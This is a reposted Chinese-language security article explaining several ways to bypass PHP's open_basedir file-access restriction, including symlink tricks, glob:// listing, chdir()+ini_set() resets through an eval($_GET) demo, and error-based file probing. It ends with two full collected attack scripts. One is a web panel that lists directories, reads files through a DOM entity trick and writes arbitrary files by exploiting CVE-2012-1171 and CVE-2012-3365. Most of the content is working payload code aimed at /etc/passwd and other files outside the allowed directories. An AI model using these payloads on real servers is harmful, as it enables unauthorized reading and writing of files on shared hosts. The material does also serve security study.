淺談幾種Bypass open_basedir的方法


0x01 open_basedir

open_basedir是php.ini中的一個配置選項,可用於將用戶訪問文件的活動范圍限制在指定的區域。

假設open_basedir=/var/www/html/web1/:/tmp/,那么通過web1訪問服務器的用戶就無法獲取服務器上除了/var/www/html/web1/和/tmp/這兩個目錄以外的文件。

注意:用open_basedir指定的限制實際上是前綴,而不是目錄名

為了演示下面的幾個示例,我這里環境的open_basedir設置為Web目錄和tmp目錄:

測試一下,我在/home目錄中新建一個1.txt文件,嘗試對其進行讀取,發現讀取失敗:

換了Web目錄及其子目錄和tmp目錄中的文件就能成功讀取,這就是open_basedir所起到的作用。

0x02 利用命令執行函數Bypass

但是open_basedir對命令執行函數沒有限制,我們可以使用system()函數試一下,在前面的代碼前加上system()代碼來進行對比:

<?php
//echo file_get_contents('/home/1.txt');
show_source(__FILE__);
system('cat /home/1.txt');
?>

確實能夠成功讀到目標文件,不受open_basedir的限制:

至於其他的命令執行函數可自行嘗試。

但是一般情況下,system()等命令執行函數可能會被disable_functions給禁用掉,因此運用到的場景可能並不多。

符號鏈接

符號鏈接又叫軟鏈接,是一類特殊的文件,這個文件包含了另一個文件的路徑名(絕對路徑或者相對路徑)。路徑可以是任意文件或目錄,可以鏈接不同文件系統的文件。在對符號文件進行讀或寫操作的時候,系統會自動把該操作轉換為對源文件的操作,但刪除鏈接文件時,系統僅僅刪除鏈接文件,而不刪除源文件本身。

(PHP 4, PHP 5, PHP 7)

symlink()函數創建一個從指定名稱連接的現存目標文件開始的符號連接。如果成功,該函數返回TRUE;如果失敗,則返回FALSE。

symlink ( string $target , string $link ) : bool
參數 描述
target 必需。連接的目標。
link 必需。連接的名稱。

當然一般情況下這個target是受限於open_basedir的。

Bypass

先給出payload,原理在后面說明,這里需要跨幾層目錄就需要創建幾層目錄:

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

訪問該PHP文件后,后台便生成了兩個目錄和一個名為exp的符號鏈接:

在Web中我們直接訪問exp即可讀取到目標文件:

原理就是:創建一個鏈接文件7ea,用相對路徑指向A/B/C/D,再創建一個鏈接文件exp指向7ea/../../../../etc/passwd。其實指向的就是A/B/C/D/../../../../etc/passwd,其實就是/etc/passwd。這時候刪除7ea,再創建一個7ea目錄,但exp還是指向7ea/../../../etc/passwd,所以就成功跨到/etc/passwd了。

重點在這四句:

symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");

payload構造的注意點就是:要讀的文件需要往前跨多少路徑,就得創建多少層的子目錄,然后輸入多少個../來設置目標文件。

0x04 利用glob://偽協議Bypass

glob://偽協議

glob:// — 查找匹配的文件路徑模式。

glob://是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協議,其用法示例如下:

<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

Bypass

只是用glob://偽協議是無法直接繞過的,它需要結合其他函數組合利用,主要有以下兩種利用方式,局限性在於它們都只能列出根目錄下和open_basedir指定的目錄下的文件,不能列出除前面的目錄以外的目錄中的文件,且不能讀取文件內容。

方式1——DirectoryIterator+glob://

DirectoryIterator是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口。

DirectoryIterator與glob://結合將無視open_basedir,列舉出根目錄下的文件:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

輸入glob:///*即可列出根目錄下的文件,但是會發現只能列根目錄和open_basedir指定的目錄的文件:

方式2——opendir()+readdir()+glob://

opendir()函數為打開目錄句柄,readdir()函數為從目錄句柄中讀取條目。

這里結合兩個函數來列舉根目錄中的文件:

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>

效果和方式1是一樣的,只能Bypass open_basedir來列舉根目錄中的文件,不能列舉出其他非根目錄和open_basedir指定的目錄中的文件。

0x05 利用chdir()與ini_set()組合Bypass

基本原理

這種利用方式跟open_basedir存在缺陷的處理邏輯有關,具體原理可參考:

《通過chdir來bypass open_basedir》

《從PHP底層看open_basedir bypass》

Bypass

測試Demo,放置在Web根目錄下,在執行輸入參數的PHP代碼前后獲取open_basedir的值看是否改變了:

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

輸入以下payload:

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

可以看到open_basedir被設置為’/‘了,整個失去了效果:

注意,如果php文件在Web根目錄,則需要構造一個相對可上跳的open_basedir:

mkdir('mi1k7ea');
chdir('mi1k7ea');
ini_set('open_basedir','..');

如果php文件直接在Web目錄的子目錄的話,就可不用創建相對可上跳的open_basedir了。

0x06 利用bindtextdomain()函數Bypass

bindtextdomain()函數

(PHP 4, PHP 5, PHP 7)

bindtextdomain()函數用於綁定domain到某個目錄的函數。

函數定義如下:

bindtextdomain ( string $domain , string $directory ) : string

Bypass

利用原理是基於報錯:bindtextdomain()函數的第二個參數\$directory是一個文件路徑,它會在\$directory存在的時候返回\$directory,不存在則返回false。

payload:

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

成功訪問到存在的文件是會返回當前文件的路徑的:

若訪問的文件不存在則返回false:

可以看到,和前面幾種方法相比,實在是相形見絀,只能應用於判斷目標文件是否存在,有利於后續和其他漏洞進行組合利用。

0x07 利用SplFileInfo::getRealPath()類方法Bypass

SplFileInfo類

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo類為單個文件的信息提供高級面向對象的接口。

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2, PHP 7)

SplFileInfo::getRealPath類方法是用於獲取文件的絕對路徑。

Bypass

和bindtextdomain的原理一樣,是基於報錯的方式,返回結果都是一樣的,就不再多演示,這里直接給出payload:

<?php
echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>

0x08 利用realpath()函數Bypass

realpath()函數

(PHP 4, PHP 5, PHP 7)

realpath — 返回規范化的絕對路徑名。它可以去掉多余的../或./等跳轉字符,能將相對路徑轉換成絕對路徑。

函數定義如下:

realpath ( string $path ) : string

Bypass

環境條件:Windows

基本原理是基於報錯返回內容的不用,設置自定義的錯誤處理函數,循環遍歷匹配到正則的報錯信息的字符來逐個拼接成存在的文件名,另外是需要結合利用Windows下的兩個特殊的通配符<和>,不然只能進行暴破。

payload:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'E:/wamp64/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>

可以看到,首字母不同的文件就被列出來了,首字母相同的文件中只列了第一個:

0x09 腳本合集

p牛的腳本

腳本原理就是利用symlink()函數來Bypass的原理。

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

網上的一個腳本

原理是用glob://偽協議:

<?php
/*
PHP open_basedir bypass collection
Works with >= PHP5
By /fd, @filedescriptor(https://twitter.com/filedescriptor)
*/

// Assistant functions
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach ($from as $depth => $dir) {
// find first non-matching dir
if ($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if ($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function fallback($classes) {
foreach ($classes as $class) {
$object = new $class;
if ($object->isAvailable()) {
return $object;
}
}
return new NoExploit;
}

// Core classes
interface Exploitable {
function isAvailable();
function getDescription();
}

class NoExploit implements Exploitable {
function isAvailable() {
return true;
}
function getDescription() {
return 'No exploit is available.';
}
}

abstract class DirectoryLister implements Exploitable {
var $currentPath;

function isAvailable() {}
function getDescription() {}
function getFileList() {}
function setCurrentPath($currentPath) {
$this->currentPath = $currentPath;
}
function getCurrentPath() {
return $this->currentPath;
}
}

class GlobWrapperDirectoryLister extends DirectoryLister {
function isAvailable() {
return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
}
function getDescription() {
return 'Directory listing via glob pattern';
}
function getFileList() {
$file_list = array();
// normal files
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
foreach ($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
return $file_list;
}
}

class RealpathBruteForceDirectoryLister extends DirectoryLister {
var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
, $extension = array()
, $charactersLength = 38
, $maxlength = 3
, $fileList = array();

function isAvailable() {
return ini_get('open_basedir') && function_exists('realpath');
}
function getDescription() {
return 'Directory listing via brute force searching with realpath function.';
}
function setCharacters($characters) {
$this->characters = $characters;
$this->charactersLength = count($characters);
}
function setExtension($extension) {
$this->extension = $extension;
}
function setMaxlength($maxlength) {
$this->maxlength = $maxlength;
}
function getFileList() {
set_time_limit(0);
set_error_handler(array(__CLASS__, 'handler'));
$number_set = array();
while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
$this->searchFile($number_set);
}
sort($this->fileList);
return $this->fileList;
}
function nextCombination($number_set, $length) {
if (!isset($number_set[$length])) {
$number_set[$length] = 0;
return $number_set;
}
if ($number_set[$length] + 1 === $this->charactersLength) {
$number_set[$length] = 0;
$number_set = $this->nextCombination($number_set, $length + 1);
} else {
$number_set[$length]++;
}
return $number_set;
}
function searchFile($number_set) {
$file_name = 'a';
foreach ($number_set as $key => $value) {
$file_name[$key] = $this->characters[$value];
}
// normal files
realpath($this->getCurrentPath() . $file_name);
// files with preceeding dot
realpath($this->getCurrentPath() . '.' . $file_name);
// files with extension
foreach ($this->extension as $extension) {
realpath($this->getCurrentPath() . $file_name . $extension);
}
}
function handler($errno, $errstr, $errfile, $errline) {
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
$this->fileList[] = $matches[1];
}

}
}

abstract class FileWriter implements Exploitable {
var $filePath;

function isAvailable() {}
function getDescription() {}
function write($content) {}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}

abstract class FileReader implements Exploitable {
var $filePath;

function isAvailable() {}
function getDescription() {}
function read() {}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}

// Assistant class for DOMFileWriter & DOMFileReader
class StreamExploiter {
var $mode, $filePath, $fileContent;

function stream_close() {
$doc = new DOMDocument;
$doc->strictErrorChecking = false;
switch ($this->mode) {
case 'w':
$doc->loadHTML($this->fileContent);
$doc->removeChild($doc->firstChild);
$doc->saveHTMLFile($this->filePath);
break;
default:
case 'r':
$doc->resolveExternals = true;
$doc->substituteEntities = true;
$doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
echo $doc->documentElement->firstChild->nodeValue;
}
}
function stream_open($path, $mode, $options, &$opened_path) {
$this->filePath = substr($path, 10);
$this->mode = $mode;
return true;
}
public function stream_write($data) {
$this->fileContent = $data;
return strlen($data);
}
}

class DOMFileWriter extends FileWriter {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
}
function write($content) {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
fwrite($_DOM_exploit_resource, $content);
}
}

class DOMFileReader extends FileReader {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
}
function read() {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
}
}

class SqliteFileWriter extends FileWriter {
function isAvailable() {
return is_writable(getcwd())
&& (extension_loaded('sqlite3') || extension_loaded('sqlite'))
&& (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
}
function getDescription() {
return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
}
function write($content) {
$sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
mkdir(':memory:');
$payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
$payload = str_replace('\'', '\'\'', $content);
$database = new $sqlite_class(":memory:/{$payload_path}");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
$database->close();
rmdir(':memory:');
}
}

// End of Core
?>
<?php
$action = isset($_GET['action']) ? $_GET['action'] : '';
$cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
$cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
$fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
$fileReader = fallback(array('DOMFileReader'));
$append = '';
?>
<style>
#panel {
height: 200px;
overflow: hidden;
}
#panel > pre {
margin: 0;
height: 200px;
}
</style>
<div id="panel">
<pre id="dl">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
<?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
<?php
$characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
$maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
$append = "&characters={$characters}&maxlength={$maxlength}";

$directorLister->setMaxlength($maxlength);
?>
Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
<?php endif;?>
Description : <strong><?php echo $directorLister->getDescription(); ?></strong>
</fieldset>
</form>
</pre>
<?php
$file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
?>
<pre id="rf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
</fieldset>
</form>
</pre>
<pre id="wf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
File Content: <textarea cols="70" name="content"></textarea>
Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
</fieldset>
</form>
</pre>
</div>
<a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
<hr>
<pre>
<?php if ($action === 'rf'): ?>
<plaintext>
<?php
$fileReader->setFilePath($file_path);
echo $fileReader->read();
?>
<?php elseif ($action === 'wf'): ?>
<?php
if (isset($_GET['content'])) {
$fileWriter->setFilePath($file_path);
$fileWriter->write($_GET['content']);
echo 'The file should be written.';
} else {
echo 'Something goes wrong.';
}
?>
<?php else: ?>
<ol>
<?php
$directorLister->setCurrentPath($cwd);
$file_list = $directorLister->getFileList();
$parent_path = dirname($cwd);

echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
if (count($file_list) > 0) {
foreach ($file_list as $file) {
echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
}
} else {
echo 'No files found. The path is probably not a directory.';
}
?>
</ol>
<?php endif;?>

試了下,簡單的界面化了,但局限性非常明顯,就是glob://偽協議的局限性:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM